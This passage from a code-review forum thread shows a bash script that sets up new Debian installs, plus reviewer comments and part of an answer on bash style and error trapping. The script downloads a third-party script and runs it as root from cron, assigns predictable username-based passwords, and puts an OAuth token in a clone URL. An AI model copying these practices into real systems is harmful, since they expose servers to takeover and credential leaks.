echo "missing sources.list file or is not writable..exiting now....." && { exit 127; }
fi
########################################### Check if PORT is set and if sshd_config is set and if PORT is set in iptables ####################
if [[ $PORT == "" ]] && ! grep -q "#HISTAMIN98" /etc/ssh/sshd_config && ! grep -q $PORT /etc/iptables.up.rules
then
echo -n "Please select/provide the port-number for ssh in iptables setup or sshd_config file:"
read -r port ### when using the "-p" option then the value is stored in $REPLY
PORT=$port
fi
############################ Check internet connection ##############################
checkInternet()
{
ping -q -w 1 -c 1 `ip r | grep default | cut -d ' ' -f 3` > /dev/null && return 0 || return 1
}
################ Creating new users #####################1
creatingNewUsers()
{
for name in "$@"
do
if id -u "$name" #>/dev/null 2>&1
then
echo "User: $name exists....setting up now!"
sleep 2
else
echo "User: $name does not exists....creating now!"
useradd -m -s /bin/bash "$name" #>/dev/null 2>&1
sleep 2
fi
done
}
###########################################################################3
################# GET USERS ON THE SYSTEM ###################################
prepare_USERS.txt()
{
awk -F: '$3 >= 1000 { print $1 }' /etc/passwd > "$WORK_DIR"/USERS.txt
chmod 750 "$WORK_DIR"/USERS.txt
if [[ ! -f "$WORK_DIR"/USERS.txt && ! -w "$WORK_DIR"/USERS.txt ]]
then
echo "USERS.txt doesn't exist or is not writable..exiting!"
sleep 3
exit 127
fi
# if [[ ! "$@" == "" ]]
# then
# for user in "$@"
# do
# echo "$user" >> /tmp/svaka/USERS.txt || { echo "writing to USERS.txt failed"; exit 127; }
# done
# fi
}
###########################################################################33
################33 user passwords2
userPasswords()
{
if [[ ! -f "$WORK_DIR"/USERS.txt && ! -w "$WORK_DIR"/USERS.txt ]]
then
echo "USERS.txt doesn't exist or is not writable..exiting!"
sleep 3
exit 127
fi
while read -r user
do
if [ "$user" = root ]
then
continue
fi
if [[ $(passwd --status "$user" | awk '{print $2}') = NP ]] || [[ $(passwd --status "$user" | awk '{print $2}') = L ]]
then
echo "$user doesn't have a password."
echo "Changing password for $user:"
sleep 3
echo "$user":"$user""YOURSTRONGPASSWORDHERE12345Áá" | /usr/sbin/chpasswd
if [ "$?" = 0 ]
then
echo "Password for user $user changed successfully"
sleep 3
fi
fi
done < "$WORK_DIR"/USERS.txt
}
################################################ setting up iptables ####################3
setUPiptables()
{
#if ! grep -e '-A INPUT -p tcp --dport 80 -j ACCEPT' /etc/iptables.test.rules
if [[ $(/sbin/iptables-save | grep -c '^\-') -gt 0 ]]
then
echo "Iptables already set, skipping..........!"
sleep 2
else
if [ "$PORT" = "" ]
then
echo "Port not set for iptables, setting now......."
echo -n "Setting port now, insert portnumber: "
read -r port
PORT=$port
fi
if [ ! -f /etc/iptables.test.rules ]
then
touch /etc/iptables.test.rules
else
cat /dev/null > /etc/iptables.test.rules
fi
cat << EOT >> /etc/iptables.test.rules
*filter
# Allows all loopback (lo0) traffic and drop all traffic to 127/8 that doesn't use lo0
-A INPUT -i lo -j ACCEPT
-A INPUT ! -i lo -d 127.0.0.0/8 -j REJECT
# Accepts all established inbound connections
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allows all outbound traffic
# You could modify this to only allow certain traffic
-A OUTPUT -j ACCEPT
# Allows HTTP and HTTPS connections from anywhere (the normal ports for websites)
-A INPUT -p tcp --dport 80 -j ACCEPT
-A INPUT -p tcp --dport 443 -j ACCEPT
# Allows SSH connections
# The --dport number is the same as in /etc/ssh/sshd_config
-A INPUT -p tcp -m state --state NEW --dport $PORT -j ACCEPT
# Now you should read up on iptables rules and consider whether ssh access
# for everyone is really desired. Most likely you will only allow access from certain IPs.
# Allow ping
# note that blocking other types of icmp packets is considered a bad idea by some
# remove -m icmp --icmp-type 8 from this line to allow all kinds of icmp:
# https://security.stackexchange.com/questions/22711
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
# log iptables denied calls (access via dmesg command)
-A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables denied: " --log-level 7
# Reject all other inbound - default deny unless explicitly allowed policy:
-A INPUT -j REJECT
-A FORWARD -j REJECT
COMMIT
EOT
sed "s/^[ \t]*//" -i /etc/iptables.test.rules ## remove tabs and spaces
/sbin/iptables-restore < /etc/iptables.test.rules || { echo "iptables-restore failed"; exit 127; }
/sbin/iptables-save > /etc/iptables.up.rules || { echo "iptables-save failed"; exit 127; }
printf "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules" > /etc/network/if-pre-up.d/iptables ## create a script to run iptables on startup
chmod +x /etc/network/if-pre-up.d/iptables || { echo "chmod +x failed"; exit 127; }
fi
}
###################################################33 sshd_config4
setUPsshd()
{
if grep "Port $PORT" /etc/ssh/sshd_config
then
echo "sshd already set, skipping!"
sleep 3
else
if [ "$PORT" = "" ]
then
echo "Port not set"
sleep 3
exit 12
fi
users=""
/bin/cp -f "$WORK_DIR"/sshd_config /etc/ssh/sshd_config
sed -i "s/Port 22300/Port $PORT/" /etc/ssh/sshd_config
for user in $(awk -F: '$3 >= 1000 { print $1 }' /etc/passwd)
do
users+="${user} "
done
if grep "AllowUsers" /etc/ssh/sshd_config
then
sed -i "/AllowUsers/c\AllowUsers $users" /etc/ssh/sshd_config
else
sed -i "6 a \
AllowUsers $users" /etc/ssh/sshd_config
fi
chmod 644 /etc/ssh/sshd_config
/etc/init.d/ssh restart
fi
}
#################################################3333 Remove or comment out DVD/cd line from sources.list5
editSources()
{
if grep '^# *deb cdrom:\[Debian' /etc/apt/sources.list
then
echo "cd already commented out, skipping!"
else
sed -i '/deb cdrom:\[Debian GNU\/Linux/s/^/#/' /etc/apt/sources.list
fi
}
####################################################33 update system6
updateSystem()
{
apt update && apt upgrade -y
}
###############################################################7
############################# check if programs installed and/or install
checkPrograms()
{
if [ ! -x /usr/bin/git ] && [ ! -x /usr/bin/wget ] && [ ! -x /usr/bin/curl ] && [ ! -x /usr/bin/gcc ] && [ ! -x /usr/bin/make ]
then
echo "Some tools with which to work with data not found installing now......................"
sleep 2
apt install -y git wget curl gcc make
fi
}
#####################################################3 update sources.list and install software ############################################################
updateSources_installSoftware()
{
if grep "deb http://www.deb-multimedia.org" /etc/apt/sources.list
then
echo "Sources are setup already, skipping!"
else
/bin/cp -f "$WORK_DIR"/"$SOURCE" /etc/apt/sources.list || { echo "cp failed"; exit 127; }
chmod 644 /etc/apt/sources.list
wget http://www.deb-multimedia.org/pool/main/d/deb-multimedia-keyring/deb-multimedia-keyring_2016.8.1_all.deb || { echo "wget failed"; exit 127; }
dpkg -i deb-multimedia-keyring_2016.8.1_all.deb
wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
updateSystem || { echo "update system failed"; exit 127; }
apt install -y vlc vlc-data browser-plugin-vlc mplayer youtube-dl libdvdcss2 libdvdnav4 libdvdread4 smplayer mencoder build-essential \
gstreamer1.0-libav gstreamer1.0-plugins-bad gstreamer1.0-vaapi lame libfaac0 aacskeys libbdplus0 libbluray1 audacious audacious-plugins \
deadbeef kodi audacity cinelerra handbrake-gtk ffmpeg amarok k3b || { echo "some software failed to install!!!!!"; echo "some software failed to install"; \
sleep 10; }
########################## Install flash in Mozilla Firefox ############################################
wget https://raw.githubusercontent.com/cybernova/fireflashupdate/master/fireflashupdate.sh || { echo "wget flash failed"; sleep 4; exit 127; }
chmod +x fireflashupdate.sh || { echo "chmod flash failed"; sleep 4; exit 127; }
./fireflashupdate.sh
######################### Setup the update tool to update flash weekly ###################################3
chown root:root fireflashupdate.sh || { echo "chown flash failed"; sleep 4; exit 127; }
/bin/mv fireflashupdate.sh /etc/cron.weekly/fireflashupdate || { echo "mv flash script failed"; sleep 4; exit 127; }
fi
}
###############################################33 SETUP PORTSENTRY ############################################################
##############################################3 ############################################################33
setup_portsentry()
{
if ! grep -q '^TCP_PORTS="1,7,9,11,15,70,79' /etc/portsentry/portsentry.conf
then
if [[ -f /etc/portsentry/portsentry.conf ]]
then
/bin/mv /etc/portsentry/portsentry.conf /etc/portsentry/portsentry.old
fi
if [[ ! -x /usr/sbin/portsentry ]]
then
apt install -y portsentry logcheck
/bin/cp -f "$WORK_DIR"/portsentry.conf /etc/portsentry/portsentry.conf || { echo "cp portsentry failed"; exit 127; }
/usr/sbin/service portsentry restart || { echo "service portsentry restart failed"; exit 127; }
fi
fi
}
################################### Successful exit then this cleanup ###########################################################3
successfulExit()
{
IFS=$IFS_OLD
cd "$HOME" || { echo "cd $HOME failed"; exit 155; }
rm -rf /tmp/svaka || { echo "Failed to remove the install directory!!!!!!!!"; exit 155; }
}
###############################################################################################################################33
####### Catch the program on successful exit and cleanup
trap successfulExit EXIT
#####################################################3 run methods here↓ ###################################################3
##################################################### ###################################################
checkInternet || (echo "no network, bye" && exit 199)
if [[ ! "$*" == "" ]]
then
creatingNewUsers "$@"
fi
prepare_USERS.txt
userPasswords
setUPiptables
setUPsshd
editSources
updateSystem
#setup_portsentry ######3 NEEDS WORK ##################################
checkPrograms
updateSources_installSoftware
########################################################################################################### #####3##
##############################################################################################################3Methods
##########################################3 Disable login for www-data #########
passwd -l www-data
#################################### firmware
apt install -y firmware-linux-nonfree firmware-linux
apt install -y firmware-linux-free intel-microcode
sleep 3
################ NANO SYNTAX-HIGHLIGHTING #####################3
if [ ! -d "$WORK_DIR"/nanorc ]
then
if [ "$UID" != 0 ]
then
echo "This program should be run as root, goodbye!"
exit 127
else
echo "Setting up Nanorc file for all users....please, wait!"
if [[ $PWD == "$WORK_DIR" ]]
then
echo "Program is in WORK_DIR...success!......."
else
echo "not in WORK_DIR...TRYING 'cd WORK_DIR'"
cd "$WORK_DIR" || { echo "cd failed"; exit 127; }
fi
git clone https://$OAUTH_TOKEN:x-auth-basic@github.com/gnihtemoSgnihtemos/nanorc || { echo "git in Nano SYNTAX-HIGHLIGHTING failed"; exit 127; }
chmod 755 "$WORK_DIR"/nanorc || { echo "chmod in Nano SYNTAX-HIGHLIGHTING failed"; exit 127; }
cd "$WORK_DIR"/nanorc || { echo "cd in Nano SYNTAX-HIGHLIGHTING failed"; exit 127; }
make install-global || { echo "make in Nano SYNTAX-HIGHLIGHTING failed"; exit 127; }
/bin/cp -f "$WORK_DIR/$NANORC" /etc/nanorc || { echo "cp in Nano SYNTAX-HIGHLIGHTING failed"; exit 127; }
chown root:root /etc/nanorc || { echo "chown in Nano SYNTAX-HIGHLIGHTING failed"; exit 127; }
chmod 644 /etc/nanorc || { echo "chmod in Nano SYNTAX-HIGHLIGHTING failed"; exit 127; }
if [ "$?" = 0 ]
then
echo "Implementing a custom nanorc file succeeded!"
else
echo "Nano setup DID NOT SUCCEED!"
exit 127
fi
echo "Finished setting up nano!"
fi
fi
################ LS_COLORS SETTINGS and bashrc file for all users #############################
if ! grep 'eval $(dircolors -b $HOME/.dircolors)' /root/.bashrc
then
echo "Setting root bashrc file....please wait!!!!"
if /bin/cp -f "$WORK_DIR/$BASHRCROOT" "$HOME"/.bashrc
then
echo "Root bashrc copy succeeded!"
sleep 2
else
echo "Root bashrc cp failed, exiting now!"
exit 127
fi
chown root:root "$HOME/.bashrc" || { echo "chown failed"; exit 127; }
chmod 644 "$HOME/.bashrc" || { echo "failed to chmod"; exit 127; }
wget https://raw.github.com/trapd00r/LS_COLORS/master/LS_COLORS -O "$HOME"/.dircolors || { echo "wget failed"; exit 127; }
echo 'eval $(dircolors -b $HOME/.dircolors)' >> "$HOME"/.bashrc || { echo "echo 'eval...dircolors -b'....to bashrc failed"; exit 127; }
fi
while read -r user
do
if [ "$user" = root ]
then
continue
fi
sudo -i -u "$user" user="$user" WORK_DIR="$WORK_DIR" BASHRC="$BASHRC" bash <<'EOF'
if grep 'eval $(dircolors -b $HOME/.dircolors)' "$HOME"/.bashrc
then
:
else
echo "Setting users=Bashrc files!"
if /bin/cp -f "$WORK_DIR"/"$BASHRC" "$HOME/.bashrc"
then
echo "Copy for $user (bashrc) succeeded!"
sleep 2
else
echo "Couldn't cp .bashrc for user $user"
exit 127
fi
chown $user:$user "$HOME/.bashrc" || { echo "chown failed"; exit 127; }
chmod 644 "$HOME/.bashrc" || { echo "chmod failed"; exit 127; }
wget https://raw.github.com/trapd00r/LS_COLORS/master/LS_COLORS -O "$HOME"/.dircolors || { echo "wget failed"; exit 127; }
echo 'eval $(dircolors -b $HOME/.dircolors)' >> "$HOME"/.bashrc
fi
EOF
done < "$WORK_DIR"/USERS.txt
echo "Finished setting up your system!"
sleep 2
############ Give control back to these signals
trap SIGINT SIGQUIT SIGTERM
############################
exit 0
</code></pre>
<p>Here is the same program under development posted here 2 times in the past:</p>
<p><a href="https://codereview.stackexchange.com/questions/203077/bash-script-to-setup-new-debian-installs">Bash script to setup new Debian installs.......from 7 months ago</a></p>
<p><a href="https://codereview.stackexchange.com/questions/205847/bash-program-that-sets-up-and-configures-the-environment-for-new-debian-installs">Bash program that sets up and configures the environment for new Debian installs........from 5 months ago</a></p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:10:08.167",
"Id": "420543",
"Score": "3",
"body": "Hi! I noticed in your user profile that you are interested in advanced system administration. Have you considered doing these setup tasks \"properly\" using industry-standard tools like Ansible instead of developing your own standalone scripts?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:19:56.117",
"Id": "420546",
"Score": "0",
"body": "@200_success Hi, yes I'm interested in those but it serves me for learning programming to do it my self and that's why I haven't investigated those. I'm learning `bash`/`shell scripting` and `python` now, and plan on learning `C` and `C++` later"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:42:42.633",
"Id": "420552",
"Score": "1",
"body": "Check out http://redsymbol.net/articles/unofficial-bash-strict-mode/ and https://www.shellcheck.net/ for some modern bash best practices."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T15:57:03.507",
"Id": "420565",
"Score": "0",
"body": "@chicks ShellCheck worked very well, I've put the code through it and corrected the errors, thanks again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T05:25:59.593",
"Id": "420616",
"Score": "1",
"body": "Hint on `iptables` integration, look into `systemd` for automation. Also specific to your code, consider turning individual bits into scripts; it'll make setting expectations and testing far easier. Furthermore look into `source` and how it can _break out_ portions of scripted logic into more manageable chunks. Some things do __not__ need a _wrapper_, specifically `updateSystem` is unnecessary and dangerous. Finally I'd advise looking into a good IDE, `vim` and `Atom` are my favs, but there's plenty of good text editors that'll make your life way easier."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T18:59:59.103",
"Id": "420950",
"Score": "0",
"body": "@S0AndS0 Thanks for the comment, Atom is looking pretty good!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T04:44:01.977",
"Id": "420978",
"Score": "0",
"body": "Good to hear @somethingSomething; here's some various `Atom` related tips... The `One Dark` Theme with `Atom Dark` Syntax Theme seems to do okay with most of the languages I write. Groovy plug-ins in no particular order; `hey-pane`, `markdown-preview-enhanced`, `atom-beautify`, `atom-name-that-color`, `color-picker`, `lorem`, `platformio-ide-terminal`, one can also search prefixed either by `ide-` or `language-`, eg. `ide-python` or `language-kivy`, for even more sweet plug-ins... How `git` proficient are ya?... If savvy then, `Ctrl` `Shift` `9`, would be of interest ;-)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T23:34:10.610",
"Id": "421241",
"Score": "0",
"body": "@SOAndSO I have this script on git so pretty profiescwnt on git"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T05:24:50.163",
"Id": "421258",
"Score": "1",
"body": "Excellent @somethingSomething! So aside from the `Git` pane, if ya look at the lower bar of your `Atom` window (on the right side), you'll find some other `Git` related short-cuts, eg. `branch` selector. On the subject of both Bash and administration ya may want to peruse the source code of a project I've recently published for [Jekyll Administration](https://github.com/S0AndS0/Jekyll_Admin), that also includes some swell client scripts; it's designed to be a set of _`ssh` short-cuts_ for the most part. Though I mainly suggest it because there's lot's of Bash tricks that ya might like."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-08T05:36:37.410",
"Id": "438458",
"Score": "0",
"body": "I eluded to previously that `systemd` and `iptables` is powerful, it's taken a bit but I've begun pushing a project that I've been _cooking-up_ for a while, currently named [`adaptive-iptables`](https://github.com/paranoid-linux/adaptive-iptables) this project also demonstrates more Git tricks on how to reuse code from other repositories... hint `git help submodule` will expose documentation on some of the perversions of version tracking that I'm utilizing ;-)"
}
] | [
{
"body": "<blockquote>\n <p>Got a snack and drink? Probably a good idea to get comfy too because it's going to be another one of those answers.</p>\n</blockquote>\n\n<p>Before diving in though understand that I'm sharing what I know and think will be helpful, there's defiantly more clever people out there with Bash, and perhaps those that are will be kind enough to let us all know if any of the following would lead readers astray.</p>\n\n<hr>\n\n<blockquote>\n <blockquote>\n <p>\"Could you add some features to the program that are practical, convenient or cool for setting up new installs?\"</p>\n </blockquote>\n</blockquote>\n\n<p>Yes, however I don't think either of us would want to look at it after...</p>\n\n<hr>\n\n<p>Addressing some of your list;</p>\n\n<ul>\n<li><p>Abandon customizing <code>nano</code> and instead focus on <code>vim</code>, be very targeted about plugins and customizing, and try to focus on learning the <a href=\"https://www.youtube.com/watch?v=XA2WjJbmmoM\" rel=\"nofollow noreferrer\">built in goodies</a> to tweak. For example <a href=\"https://vi.stackexchange.com/questions/625/how-do-i-use-vim-as-a-diff-tool\"><code>vimdiff</code></a> as a merge tool for <code>git</code> is super handy for remote (or local) merge conflict resolution, and <a href=\"https://www.vim.org/scripts/script.php?script_id=3645\" rel=\"nofollow noreferrer\"><code>vim-gpg</code></a> allows for editing encrypted files in-place. Combined with either <code>screen</code> or <code>tmux</code> and it's possible to have a similar (<a href=\"https://www.youtube.com/watch?v=YRyYIIFKsdU\" rel=\"nofollow noreferrer\">or better</a>) experience as what <code>IDEs</code> like <code>Atom</code> provides.</p></li>\n<li><p><code>iptables</code> and <code>ssh</code> setup is something that should be handled by separate scripts at the very least, and I'll reiterate that <code>systemd</code> combined with <code>iptables</code> is an avenue worth exploring... may be in the future I'll <em><code>push</code></em> a related project, when it's ready...</p>\n\n<ul>\n<li>Additionally on <code>iptables</code>, look into <code>chains</code>, and <code>insert</code> to keep things organized and in somewhat predictable order respectively. Also check into <a href=\"https://www.fail2ban.org/\" rel=\"nofollow noreferrer\"><code>fail2ban</code></a> for an easy way of mitigating some forms of <em>hacktackory</em>, it also has <em>templating</em> options for automating changes in rules based off various logged events.</li>\n</ul></li>\n<li><p>Careful, setting-up custom root account <code>bashrc</code> files, especially for a <strong>shared</strong> server this can cause <em>strangeness</em> in terminal behavior, which can <em>strain</em> team relations, that <em>strain</em> could lead to anger, and <a href=\"https://www.youtube.com/watch?v=kFnFr-DOPf8\" rel=\"nofollow noreferrer\">Yoda</a> was very clear to where such emotions leads.</p></li>\n<li><p>Tweaking default color output for <code>ls</code> and just about any other <em>core utility</em> is a very, very bad idea... well unless tracking down the legacy code underpinning something server critical that <em>barfed</em> is your idea of a good time... Hint, if it's in the Busybox Bash shell avoid touching the defaults on any distribution. If you <em><strong>must</strong></em>, for some reason, then please use uniquely named <code>aliases</code> instead... as for <em>why</em>, detecting <strong>reliably</strong> when something is being piped or redirected or displayed to a terminal that can handle it is a special flavor of mysticism I'll not encourage publicly; not for this use-case...</p></li>\n<li><p>Creating new users, set-up, passwords, etc. is something that yet again should be handled by a separate set of scripts. Additionally be careful as to who you assign a password to, could allow for a larger pool of users to brute-force passwords for, and some users should <strong>never</strong> have a password but instead be <em>locked</em> from these types of authentication.</p></li>\n<li><p>Installation of non-free software in an automated fashion may be asking for trouble, I'm no expert but such habits will be very tough to maintain in a corporate setting. In other-words be really nice to the <em>Waver Department</em> for whatever company lets ya <code>sudo</code> onto their servers.</p></li>\n<li><p>I've already touched on that auto upgrading a system is dangerous, but if you must then consider using <code>script</code> so that issues can later be tracked down with the use of <code>strings</code>, eg...</p></li>\n</ul>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>mkdir -p ~/Documents/logs/script\n\n_a_moment_in_time=\"$(date +'%Y%m%d-%H%M%S')\"\n_log_path=\"${HOME}/Documents/logs/script/${_a_moment_in_time}-apt-get_upgrade.script\"\n\nscript -ac 'sudo apt-get upgrade && sudo apt-get upgrade -y' \"${_log_path}\"\n</code></pre>\n\n<p>... to output a <code>script</code> <em>log file</em> to something like <em><code>~/Documents/logs/script/19701231-2359-apt-get_upgrade.script</code></em>, which can be reviewed in-terminal with something like...</p>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>strings \"${_log_path}\" | more\n</code></pre>\n\n<hr>\n\n<blockquote>\n <blockquote>\n <p>\"Is there anything in the program that I don't need?\"</p>\n </blockquote>\n</blockquote>\n\n<p>Yes.</p>\n\n<blockquote>\n <blockquote>\n <p>\"I was hoping for some advice and/or input on the code.\"</p>\n </blockquote>\n</blockquote>\n\n<ul>\n<li><p>Split out things into separate projects, and within those projects split things out into smaller files of functions that contain reusable code <em>snipits</em>; your future self will be more likely to thank your past self.</p></li>\n<li><p>Comments should be comments, documentation should either be accessible via some state within the code or be kept in a different place; Python is a good example of where it's encouraged to have documentation within the code but that's because <code>print(str.__doc__)</code>.</p></li>\n<li><p>There's some unnecessary redundant repetition in your code that might be better expressed as a collection of functions that abstract things a bit in that regard. On the subject of functions, some of your names are going to cause ya headaches in the future, I'm looking at <code>prepare_USERS.txt</code> as one that'll one day misbehave.</p></li>\n<li><p>There's lot's of <em>zombie</em> code and characters that cannot be typed on a keyboard, consider removing the latter and editing the former to something either with; conditional logic and configs, or removing unnecessary commented code.</p></li>\n<li><p>Functions and scripts can take a list of arguments, functions can also be passed references to lists (<code>arrays</code>) among other things via <code>local -n _ref_the_first=\"${1}\"</code>, which hint, hint, is <em>magic sauce</em> for that project's <a href=\"https://github.com/S0AndS0/Jekyll_Admin/blob/master/shared_functions/arg_parser.sh\" rel=\"nofollow noreferrer\"><code>arg_parser</code></a> that I linked to in your question's comments; enables passing more than one <code>array</code> ;-)</p></li>\n<li><p>Definitely look into <a href=\"https://www.shellcheck.net/\" rel=\"nofollow noreferrer\"><code>shellcheck</code></a> as it'll catch typos like <code>if [ \"$PORT\" = \"\" ]</code> in your code, output the line number to jump to to fix'em, as well as a message that may or may not be helpful at the time.</p></li>\n<li><p>On the subject of <em><code>help</code></em> related things, I'll encourage you to try <code>man</code>, eg <code>man man</code>, <code>man iptables</code>, etc. The documentation built-in on various subjects is extensive. The other handy command I've run across for finding documentation is <code>apropos</code>, eg. <code>apropos iptables</code></p></li>\n<li><p><em><code>trap</code>ing</em> some of the things you have is asking for trouble in some very bad ways, and other <em><code>trap</code>s</em> are going to be really painful to debug in the future, consider using some bits that my project does to aid debugging instead, eg...</p></li>\n</ul>\n\n<h3><a href=\"https://github.com/S0AndS0/Jekyll_Admin/blob/master/shared_functions/failure.sh\" rel=\"nofollow noreferrer\"><code>shared_functions/failure.sh</code></a></h3>\n\n<blockquote>\n <p>Note, source code within links may be updated or slightly different in formatting, if this is by to much at some later date then <em>roll-back</em> changes to commit ID: <code>5d307b353fc83cfc3d51461a064e72cdb8f4176a</code>; currently shared under <a href=\"https://s0ands0.github.io/Jekyll_Admin/licensing/gnu-agpl/\" rel=\"nofollow noreferrer\">GNU AGPL</a> <code>version 3</code>.</p>\n</blockquote>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>#!/usr/bin/env bash\n\n## Ensure the following line precedes calls to this function via trap\n## set -eE -o functrace\n## Use the following line to call this function from other scripts\n## trap 'failure ${LINENO} \"${BASH_COMMAND}\"' ERR\nfailure(){\n local _lineno=\"${1}\"\n local _msg=\"${2}\"\n local _code=\"${3:-0}\"\n local _msg_height=\"$(wc -l <<<\"${_msg}\")\"\n if [ \"${_msg_height}\" -gt '1' ]; then\n printf 'Line: %s\\n%s\\n' \"${_lineno}\" \"${_msg}\"\n else\n printf 'Line: %s - %s\\n' \"${_lineno}\" \"${_msg}\"\n fi\n if ((_code)); then exit ${_code}; fi\n return ${_code}\n}\n</code></pre>\n\n<h3><code>errors_tests.sh</code> pulled from <a href=\"https://github.com/S0AndS0/Jekyll_Admin/blob/master/jekyll_usermod.sh\" rel=\"nofollow noreferrer\"><code>jekyll_usermod.sh</code></a></h3>\n\n<blockquote>\n <p>Trimmed a bit to keep things a bit <em>targeted</em> in topics being covered.</p>\n</blockquote>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>#!/usr/bin/env bash\n\n## Exit if not running with root/level permissions\nif [[ \"${EUID}\" != '0' ]]; then\n echo \"Try: sudo ${0##*/} ${@:---help}\"\n exit 1\nfi\n\nset -eE -o functrace\n\n\n#\n# Set defaults for script variables; these maybe overwritten at run-time\n#\n## ... trimmed for brevity...\n\n#\n# Boilerplate and script scoped defaults\n#\n## Find true directory script resides in, true name, and true path\n__SOURCE__=\"${BASH_SOURCE[0]}\"\nwhile [[ -h \"${__SOURCE__}\" ]]; do\n __SOURCE__=\"$(find \"${__SOURCE__}\" -type l -ls | sed -n 's@^.* -> \\(.*\\)@\\1@p')\"\ndone\n__DIR__=\"$(cd -P \"$(dirname \"${__SOURCE__}\")\" && pwd)\"\n__NAME__=\"${__SOURCE__##*/}\"\n__PATH__=\"${__DIR__}/${__NAME__}\"\n\n__AUTHOR__='S0AndS0'\n__DESCRIPTION__='Spams error codes for trap example'\n\n\n#\n# Source useful functions, note may overwrite previous defaults\n#\n## Provides 'failure'\nsource \"${__DIR__}/shared_functions/failure.sh\"\ntrap 'failure ${LINENO} \"${BASH_COMMAND}\"' ERR\n\n## ... sourcing of other things, setup and\n## code logic/execution follows for now\n## generate some errors...\n\nusage(){\n cat <<EOF\n${__NAME__} 'SPAM'\n\n${__DESCRIPTION__}\n\n\n--help\n Print this message and exit\n\nspam\n Returns two different error codes, repetition dependent\n\nham\n Returns error code '3'\n\n\n# (C) GNU AGPL version 3, 2019, ${__AUTHOR__}\nEOF\n}\n\nspam_errors(){\n _first_arg=\"${1,,}\"\n case \"${_first_arg}\" in\n 'spam')\n _scrubbed_first_arg=\"${_first_arg//${_first_arg/%spam/}/ }\"\n printf '%s\\n' \"${_scrubbed_first_arg}\" >&2\n return 1\n ;;\n 'spam'*'spam')\n _scrubbed_first_arg=\"${_first_arg//${_first_arg//spam/}/ }\"\n printf '%s\\n' \"${_scrubbed_first_arg}\" >&2\n return 2\n ;;\n *'ham'*)\n printf '%s\\n' \"${_first_arg}\" >&2\n return 3\n ;;\n *'help')\n usage\n exit 0\n ;;\n esac\n return 0\n}\n\n\n#\n# Do the things...\n#\n_first_arg=\"${1:?${__NAME__} requires one argument, eg. ${__NAME__} 'spam'}\"\nspam_errors \"${_first_arg}\"\nprintf 'Escaped argument: %q\\n' \"${_first_arg}\"\n</code></pre>\n\n<blockquote>\n <p>Note, <code>spam_errors</code> only exists for the purpose of showing multiple error generating lines as well as what happens when no errors are thrown.</p>\n</blockquote>\n\n<p>... the <em>gist</em> of which prints out information that helps in tracking down errors. Here's some example input/output...</p>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>bash errors_tests.sh 'spam spam'; echo \"# Exit Status: $?\"\n</code></pre>\n\n<pre><code>Try: sudo errors_tests.sh spam spam\n# Exit Status: 1\n</code></pre>\n\n<hr>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>sudo bash errors_tests.sh\necho \"# Exit Status: $?\"\n</code></pre>\n\n<pre><code>errors_tests.sh: line 71: 1: errors_tests.sh requires one argument, eg. errors_tests.sh spam\n# Exit Status: 1\n</code></pre>\n\n<hr>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>sudo bash errors_tests.sh 'spam'; echo \"# Exit Status: $?\"\n</code></pre>\n\n<pre><code>spam\nLine: 52 - return 1\n# Exit Status: 1\n</code></pre>\n\n<hr>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>sudo bash errors_tests.sh 'spam ham spam'\n_last_exit_status=\"$?\"\necho \"# Exit Status: ${_last_exit_status:-0}\"\n</code></pre>\n\n<pre><code>spam spam\nLine: 57 - return 2\n# Exit Status: 2\n</code></pre>\n\n<hr>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>sudo bash errors_tests.sh 'ham'\n_last_exit_status=\"${?:-0}\"\necho \"# Exit Status: ${_last_exit_status}\"\n</code></pre>\n\n<pre><code>ham\nLine: 62 - return 3\n# Exit Status: 3\n</code></pre>\n\n<hr>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>sudo bash errors_tests.sh 'lemon jam'\n_last_exit_status=\"$?\"\necho \"# Exit Status: ${_last_exit_status:-0}\"\n</code></pre>\n\n<pre><code>Escaped argument: lemon\\ jam\n# Exit Status: 0\n</code></pre>\n\n<hr>\n\n<p>Now there's other things going on up there with them examples; <a href=\"https://www.tldp.org/LDP/abs/html/string-manipulation.html\" rel=\"nofollow noreferrer\">string manipulation</a>, <em>fancy</em> <code>source</code> usage based-off something I couldn't unsee from elsewhere on the <a href=\"https://stackoverflow.com/questions/59895/get-the-source-directory-of-a-bash-script-from-within-the-script-itself\">SO network</a>, all sorts of perversions with <a href=\"https://www.tldp.org/LDP/abs/html/parameter-substitution.html\" rel=\"nofollow noreferrer\">parameter substitutions</a>; but the main take-away to take away is that I'm using <code>return</code> <code>n</code> <code>></code> <code>0</code> within functions to trip the <code>trap 'failure ${LINENO} \"${BASH_COMMAND}\"' ERR</code>, after setting <code>set -eE -o functrace</code> for more info on premature exits. Other things I think may be worth noting;</p>\n\n<ul>\n<li><p>In some implementations of Bash each pipe can be very costly, so try to get things done with built-ins where-ever possible.</p></li>\n<li><p>Regardless of language, erring with info is a solid choice.</p></li>\n<li><p><code>echo</code> is okay to use in the privacy of one's own terminal, and occasionally out of laziness when no variables are involved within a script, otherwise <code>printf</code> is generally the <em>better</em> choice.</p></li>\n<li><p>That trick within the 